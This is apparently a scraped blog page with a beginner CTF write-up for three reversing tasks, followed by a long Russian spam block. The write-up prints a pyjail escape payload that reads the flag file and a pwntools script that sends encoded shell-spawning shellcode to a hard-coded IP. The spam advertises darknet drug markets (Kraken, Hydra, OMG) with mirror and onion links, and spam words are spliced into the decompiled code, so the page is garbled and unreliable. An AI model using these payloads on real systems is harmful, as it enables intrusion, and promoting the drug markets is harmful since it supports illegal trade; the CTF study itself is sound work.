Kra37.at

This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l!= 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 ошибка = result; if ( купить result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related
Kra37.at - Кракен даркнет аккаунт
Мелочь, а приятно. Количество пользователей «Гидры» росло стабильно до середины 2017 года, когда ликвидация ramp привела к взрывному росту регистраций. Первый это обычный клад, а второй это доставка по всей стране почтой или курьером. На момент 2014 года ежегодная прибыль площадки составляла 250 000 долларов США. А если вы не хотите переживать, а хотите быть максимально уверенным в своей покупке, то выбирайте предварительный заказ! Главный редактор «Лента. Проект существовал с 2012 по 2017 годы. Следует, однако, признать, что ситуация сейчас много лучше, чем пару-тройку лет назад, и с такой скорость вполне уже можно жить. РИА Новости. В расследовании, выпущенном журналистами «Ленты было рассказано, что на уничтожение ramp в известной степени повлияли администраторы Hydra. Исходя из этого, не всегда есть возможность осуществить доставку. В Москве вручили Премию Рунета-2019 Архивная копия от на Wayback Machine. Зеркала mega работают по схожим алгоритмам и имеют схожую функциональность. Ру Вся эта дурь. Самой надёжной связкой является использование VPN и Тор. Он был основан в 2018., и к сентябрю 2021. Возможно, 2022-й станет годом окончательного закрытия "Гидры". Вот и я вам советую после совершения удачной покупки, не забыть о том, чтобы оставить приятный отзыв, Мега не останется в долгу! Для этого вам нужно добраться до провайдера и заполучить у него файл конфигурации, что полностью гарантирует, что вы не будете заблокированы, далее этот файл необходимо поместить в программу Tunnelblick, после чего вы должны запустить Тор. Onion - крупнейшая на сегодня торговая площадка в русскоязычном сегменте сети Tor. Эльяс Касми. Реальные отзывы дадут вам понять кто из них ТОП. Была такая попытка и в России. На данный момент этот шлюз является следующим http omgomgomsbrrruob5skzizpt7nhj5ho2yzn76jq7tckjjhxkedmghead. Существовал с 2015 по 2022 год 2. Так что где побродить и с кем там пообщаться ты найдёшь. Tor скроет вашу личность в Сети, скроет всё то, что вы делали в Интернете и куда ходили. ActionClickEvent (ActionCell) на сайте (www) также возвращает результат вызова метода IO, но только при наличии кэша. Только подними глаза чуть повыше, туда, где я писал о гиках и куче модулей. Часть денег «Гидра» и ее пользователи выводили через специализированные криптообменники для отмывания криминальных денег, в том числе и через российский. Собянин, конкуренты, Jabber Второй большой загадкой, на базе которой воздвигли новые предположения, стал принадлежащий «Гидре» сайт с «мостами помогающими обходить блокировку браузера Tor. Даже если он будет выглядеть как настоящий, будьте бдительны, это может быть фейковая копия. Ссылка на мегу. И Tor появляется. Rar 289786 Данная тема заблокирована по претензии (жалобе) от третих лиц хостинг провайдеру. Вот пример со ссылкой на официальный сайт: m/Oxford-Oxygen-Twickenham Теперь мой список в 1,5 раза меньше, но зато у меня есть блог. По его словам, с технической точки зрения восстановить доступ к запрещенному ресурсу можно. Мастер проведёт тебя через несколько простых шагов и попытается подстроить Tor под твоё интернет-соединение ( кликни на картинку, чтобы увидеть скриншот в полном размере ). Плюс в поиск Google за инфой, как это всё прикручивается и настраивается.

ОМГ в обход блокировки зеркало omgpchela comEnujagukК примеру, как крякнуть Wi-Fi сожителей, каким методом создать миниатюрную атомную бомбу, книга «22 способа убить человека голыми руками» и многое другое в подобном роде; к позитивным приобретениям можно отнести конспектылекций вузов различных стран мира, а также книги по кибернетической безопасности; поддельные.…